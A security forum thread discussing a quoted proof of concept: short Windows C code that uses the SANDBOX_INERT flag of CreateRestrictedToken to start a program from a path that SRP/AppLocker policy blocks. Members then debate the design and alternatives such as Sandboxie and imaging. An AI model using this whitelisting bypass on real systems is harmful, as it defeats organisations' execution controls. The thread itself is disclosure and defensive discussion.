Circumventing SRP and AppLocker by design, with SANDBOX_INERT -> new process

I got a very interesting comment on my blogpost:
http://blog.didierstevens.com/2011/01/24/circumventing-srp-and-applocker-by-design/

The anonymous commenter pointed out a flag (SANDBOX_INERT) in the CreateRestrictedToken function to create a token that can subsequently be used to create a new process, while circumventing SRP/AppLocker.

From MSDN:

I can confirm this works, here's the program I wrote:

Code:

HANDLE hToken;
HANDLE hNewToken;
PROCESS_INFORMATION sPI;
STARTUPINFO sSI;

if (OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &hToken))
{
	if (CreateRestrictedToken(hToken, SANDBOX_INERT, 0, NULL, 0, NULL, 0, NULL, &hNewToken))
	{
		memset(&sSI, 0, sizeof(sSI));
		sSI.cb = sizeof(sSI);
		if (CreateProcessAsUser(hNewToken, L"c:\\test\\test.exe", NULL, NULL, NULL, TRUE, 0, NULL, NULL, &sSI, &sPI))
		{
			puts("process created");
		}
}

This program will launch another program from c:\test\test.exe.
Path c:\test is not allowed by the SRP policy I set up.

 

Thanks...

Is it time to ask: WTF Or, do you think it's still too soon? Really, WTH?

What's the point of SRP/AppLocker if it can be avoided? What was Microsoft thinking?

 

Because it's only a particular, select few, exploits that can avoid it. Why would you ditch it when it can still prevent the majority of the existing exploits? So it's not perfect, that is now abundantly clear, but it's still a solid and already built-in defense mechanism.

 

Oh... I'm not ditching... It was more like a rhetorical question. But, my point was, I guess, why do it? Why such design? I take Sully's thought on this one - "I guess not too surprising, but still stupid."

And, it's not just AppLocker... but, it would be off-topic. It just really upsets me to come to the conclusion that Microsoft introduces holes in such security mechanisms, and did it by design, and not some flaw that came along.

 

I believe you mean malware/unwanted programs, not exploits. There is no vulnerability in AppLocker, hence no exploits.

There is no current malware that uses these circumvention features.

There are vulnerabilities in the SRP design. SRP is completely implemented in userland, inside the processes themselves, and can therefore be tampered with, even from a LUA. Mark Russinovich was the first to publicly discuss this (GPDisable).

 

I stand corrected

That's interesting; I remember reading somewhere in this forum about a bypass against it, but I didn't know it had design vulnerabilities. Is there malware currently in circulation that can bypass SRP? Thank you again for your insights, Didier.

 

Such a mess.

This sort of news makes me think more and more that only imaging and rollback type tools are the methods that can give one a piece of mind.

Sul.

 

Also, and perhaps you could correct me if wrong, considering both SRP and AppLocker are not included in cheaper Windows versions, and that most people, even if having such features, have no idea about them, I'd say that in the eventuality of such malware, it would happen in a targeted scenario, like business?

I don't see malware writers making the effort to attack home users this way, considering most aren't even using any of them, hence not being worth the trouble, when they got plenty of already proven methods, correct?

 

Mark's original article (from 2005) is here:
http://blogs.technet.com/b/markruss...umventing-group-policy-as-a-limited-user.aspx

SRP is completely implemented in the user processes, for example explorer.exe. The decisions to allow or disallow an action are taken by code in the process itself (more specifically, in the advapi32.dll), and can thus be tampered with. As a user, you have full control over your own processes.
I've a few blogposts about this, and a couple of tools. I can look up the links if you want me to.

AppLocker has a component running inside the kernel, hence off-limit to normal users. This component takes the decisions. That's what I like about AppLocker, it's safely operating inside the kernel.

AFAIK, there is no malware exploiting SRPs. I believe this is because 1) SRP is not prevalent and 2) the memory addresses to patch to bypass SRP are different for each version of advapi32.dll.

 

Correct. I would only worry about this in a highly targeted attack scenario, the type were the attacker knows you use SRP/AppLocker as a whitelisting technology.

 

I recall discussing this article with several people when it was released. I found these to be the two most important points he made:

Of course, Microsoft made this point 4 years prior upon the release of WinXP:

http://msdn.microsoft.com/en-us/library/ms974604.aspx
October 8, 2001

----
rich

 

Why not include sandboxing

 

I'll assume you're talking about Sandboxie specifically. Sandboxie been 'bypassed' too in the past although I'm not so sure what it was. It has been patched though. And then, there's issues where Sandboxie did not work for some reason....sometimes conflict with other security software (Comodo, SpyShelter, PC Tools Firewall, etc,...check the forums), system setup (a previous build conflicted with SRP) or unexpected circumstances like this...

E.g.16-bit installer runs outside of sandbox

If you're on 64-bit. you don't have to worry over this. If you're on 32-bit, then disable 16-bit access through the registry or Group Policy (I did).

Not to mention that Sandboxie has design flaws. Sandboxie doesn't do anything to protect you once you recover something out of the sandbox. E.g. Not everyone 'sandbox' their PDF reader or media player for whatever reasons...we all know that time and again, there have been vulnerabilities reported on those.

Then, we still have the Kernel Patch Protection issue for Sandboxie 64-bit. Maybe not now, but if Sandboxie gets a lot of attention in the future (theoretical), anything can happen in a targeted attack scenario.

That said, Sandboxie is still great. It's the best sandbox software imo. I've just come to accept that nothing is perfect....everything has some freaking hole(s) in it waiting to be uncovered.

Back to topic, does anyone know of any way we can prevent an .exe running with Admin rights from disabling the Application Identity Service or at least warn us when such happens? Maybe a HIPS but does anyone know of any that specifically alerts on this...

@Didier Stevens

I'd like to make a request if you can check out SuRun (a tool that some LUA,SRP, AppLocker users here use) and see what flaws it has or introduce to the system. I believe it'll be interesting. For one, it appears that a particular SuRun .dll doesn't support ASLR - suffers from the flaw you mention here:

Quickpost: “It Does No Harm…” or Does It?

I'm fine if you reject this request...merely voicing it out.

 

You're right, I more or less meant Sandboxie, although similar products could maybe work too. If it's setup properly, as so many Sandboxie experts in this forum do, it seems to be virtually impossible to bypass, other than a malicious file deliberately launched outside its confines. Member Franklin has launched thousands of malware in his Sandboxie setup - running as administrator no less - and he's never seen it bypassed yet. Not to suggest it could never, or has never, been bypassed, but it seems highly unlikely when it's setup with highly restrictive containment in mind.

 

As mentioned, what is in the sandbox is fine, but at some point you must let things out of the sandbox.

Once they are out of the sandbox, all bets are off. If the OS itself is designed to allow an end run around its own security, how can you then trust anything outside of the sandbox?

There is no need to get paranoid yet. Most likely I will never see such an exploit. However, many people whom I have help set SRP with (both admin and users) have a potential gap in the protection thanks to the OS developers -- why even bother at all. If they are going to pull this crap over and over, I think I will stop wasting my time and focus on how to teach basic imaging/rollback to those people, and start playing with the software heavily too.

I find no good reason to invest any more time into this if this is how they take security within the OS. I will keep what I have, and for myself continue to experiment and learn, but now I am going to find a different "relatively easy" method for many I know.

What a bone-head thing to do by micro$oft.

Sul.

 

Also see my reply in the other thread.

Bottom line SRP (and AL) was never intended to be a security feature. Given how Mark blogged about a feature like UAC I'm sure at least he'll agree on that.

Security in a consumer OS is a really difficult problem. If some are disappointed by MS, I understand that. My first response was anger, then cynicism like "told ya so" and "what did you expect". But as someone using OS X and Linux for a long time let me tell you this is not MS being incompetent, reckless or stupid.

About rollback/imaging.
Backups should be top priority in any IT environment and on every security checklist. If you get hacked at least you can get your data back and for most scenarios that's all that matters. How many average users have really sensitive data on their personal machines? I mean, the whole security thing is pretty overrated if people only use their P(ersonal)C for entertainment, some random chit-chat and (insured) online banking.
If it's privacy they worry about, they lost that one already anyway - after signing up on Google and Facebook and posting everything all over the internet.

 

Yes, quite a reasonable assumption there. I don't worry about my stuff personally. But, I do help a lot of others who range from novice to above average. They don't want the same thing they have been using, and are "better" about button clicking than most might be. They aren't free from problems though, so they need a little help. LUA and/or SRP has been a great hit with many of them, because they can sort of understand it (at least better than how to answer a HIPS prompt). Sandboxie is also liked by those because again, they are able to understand.

I have resisted the imaging and rollback with them because of the nature of it, able to actually restore the wrong image and lose data. Most people these days have a LOT to lose -- in the form of digital music and photos. Most people I know don't burn thier photos to optical media, it is put on thier hdd and then deleted from the camera/flash memory! I shake my head in disbelief, but it is pretty common. So, on the one hand SRP and crew offer a pretty good method to use, but as we see it turns out are (seemingly) trivial to bypass. On the other hand, some methods that might offer a more secure environment actually also stand to cause more damage if not used properly.

What is an average joe to do anymore lol? So much of what we do is digital, such speed and ease of use. Old 35mm negatives might burn up in a fire, or a flood, or go bad after 50 years, but you didn't have to worry about jerk-offs messing with your stuff like you do with computers.

Oh well, I won't lose any sleep over it, but will have to do some thinking on how this might effect what I do and advice I give in the future.

Sul.

 

Echoing what ssj100 said -http://ssj100.fullsubject.com/t336-bad-news-for-srp-applocker#2878 , why not browse all files with a sandboxed explorer?

-http://ssj100.fullsubject.com/sandboxie-f1/newbie-sandbox-setup-help-t88.htm#488

I also create a shortcut of a Sandboxed Explorer with target parameters of:

Code:

"C:\Program Files\Sandboxie\Start.exe" /box:[name of Sandbox] "C:\WINDOWS\explorer.exe" /e,::{20D04FE0-3AEA-1069-A2D8-08002B30309D}

... in order to open a sandboxed object, "My Computer". And have a low CPU intensive virtual machine c/o Sandboxie.

 

Yes, true, you can do that. But at some point, you surely must admit that you want to commit something "new" to your system, so that it resides (if wanted) in all sandboxes, in any situation. I know I do. If I have found a few new "tools" to use, I want to install them to the real system and have them in my latest image. This is where you must now "know" the said "new thing" is to be trusted.

What do you do then? Scan it, hoping the scanner finds anything wrong? Throw it in a VM with a plethora of tools like HIPS to monitor what happens? Run it in some testbed? Rely on your supposedly "safe" SRP or AppLocker or LUA config?

If the OS is built to have "ways around" the security, where can you find security? While I am happy as a canary to sing praises to Sandboxies effectiveness and security, not everything can be kept in a sandbox. I used to be happy to sing about some of the OS features because they were very low resource tools, that once you understood them a bit could offer a lot. But now I begin to wonder, if there are situations such as what Didier has shown us, what else lies around the corner?

Again, not to say all is lost, far from it. But from a physcological standpoint it is disheartening. I am not going back to scanners and prompts, but I don't know yet what I am going to do, if indeed anything at all that is different from what I have been doing. You cannot ignore the features of the OS, but it appears neither can you build your kingdom upon them either. I think for now I will continue to use SBIE as my only real 3rd party tool, and continue along with Integrity Levels and system tweaks and usage patterns to shore up the OS. Should things radically progress with the data being given here in this topic, I might have to radically change along with it. Only time and more information will tell....

Sul.

 

I can agree with this statement about SRP because it is implemented in userland. AppLocker on the other hand is most definitely intended as a security feature. To quote Microsoft:

We are currently using AppLocker in Windows 7 Enterprise in a corporate environment as an additional layer to protect against highly targeted malware. Please tell me which Microsoft OS we should be using instead. Windows 2008 R2 has the same design holes in AppLocker.

Please explain.. I can understand the need for circumventing AppLocker for installers, but this is already done by the default AppLocker rules where local admins are exempt. Creating backdoors like this without the ability to turn them off is reckless at best.

 

I agree. Installing an application into the Real system is beyond Sandboxie. Nothing can save you from that if it turned out malicious later on. Even a perfect unhackable LUA/SRP/AppLocker/AE or any other security set-up will not save you except a known clean image back up. How else to get by when you deliberately introduced something into the system? Trusting the sources(hash checking, virustotal, etc) and finding out expert opinions for that particular application even without testing in a virtual machine or a separate testing machine is enough for most of us.

There's no such thing as perfect absolute security.

It is not disheartening and it is not surprising that you can't fully trust an operating system even if you yourself built it from scratch. As there are always vulnerabilities from complex code even sans backdoor features. What more from a complex heap of codes which was probably made with some instructions from the state or from some forensic guys from the 3 letter agencies. Some had it known from the very beginning. So, no surprise from such revelations of some documented or non-documented features that can circumvent some mechanism. We could probably expect more. Not a remote possibility.

Amazing that all of these things is happening when "Jupiter is re-entering Aries". While wikileaks revelations happened when Mercury was retrograding at Capricorn."

 

Yes, AL also improves security but it's not intended to be used in a way as it's used by most of us here: Protect high risk applications against 0day threats. AL is not a memory corruption exploit mitigation tool. It's solely intended as a management feature to prevent users from running unapproved software inside their LUA, that also includes lots of SE attacks. The fact that it's quite effective against 99% of all - publicly known - shellcode payloads is more of a coincidence.

Against highly targeted attack AL is no longer a reliable security layer. You'll need to rethink your current setup, improve the other layers and introduce new ones depending on your exact threat model and environment. There is no simple answer. As targeted attacks become more sophisticated the need for a strong MAC system for Enterprise customers becomes more pressing. SEWindows anyone?
So if you need stronger protection today you might also have to rethink running a Windows OS at all.

AL works as intended and still can't be circumvented in the sense that you can run your own exe files without matching a rule. You first need a vulnerable software to exploit and how many users who want to run a torrent client or something like that on the corporate network are going to do that? It's not reckless because Microsoft NEVER claimed that AL could prevent shellcode from executing malicious code. That's what ASLR, DEP and EMET are for. If you can find ways to bypass those I'm sure they'll listen.

 

Straight from MS Technet on AppLocker:

-http://technet.microsoft.com/en-us/library/dd723678(WS.10).aspx

It is, of course, as has been explained by katio, meant to be used in a business environment, but the prevention of malware as well as unauthorized applications is directly implied by MS.

There is nothing wrong with utilizing a feature such as this in the O/S if it's available - even if it isn't perfect. I would even suggest it affords better efficiency and reliability than most 3rd party products; no messy kernel hooks or other undesirable conflicts with the O/S. Simply visit any forum of most 3rd party security vendors an behold the high number of bugs reported by its members. I'm of the firm belief for quite some time now that one should endevour to utilize as much as possible what's already built-in to the O/S to provide their security needs.

 

Malware as in "install this codec to view secret sex tape of $famous" or image.jpeg.exe but not as in 0day buffer overflow exploit. Just because it's effective against most of those today doesn't mean it was intended to be used that way or that MS should improve it in this regard.
It's a way to protect a desktop system against untrusted/stupid users/your own stupidity/absentmindedness, not to protect potentially vulnerable services and clients against intrusion.
The problem is, I think most of us here (mis)used it more for the latter. All I'm saying is, you need to rethink your strategy and don't blame MS for their design choices.

 

If it's setup properly, there's no misuse of it whatsoever, at least imo It works extremely well as an already built-in, no-O/S-conflict security measure in a home pc environment, although we of course know now it's not the silver bullet. As for re-thinking strategy, yes, I'm always seeking ways to improve upon it, the latest of which regards restricting my common browser (Chrome) to ip address/CIDR mask ip ranges, encompassing all my favorite websites (no pron included ). Some might perceive this as overkill, but it's what I do and I enjoy it. The only 3rd party app i'm using atm is SuRun, but that's because I love the convenience it affords me to easily launch administrative tasks from my user account.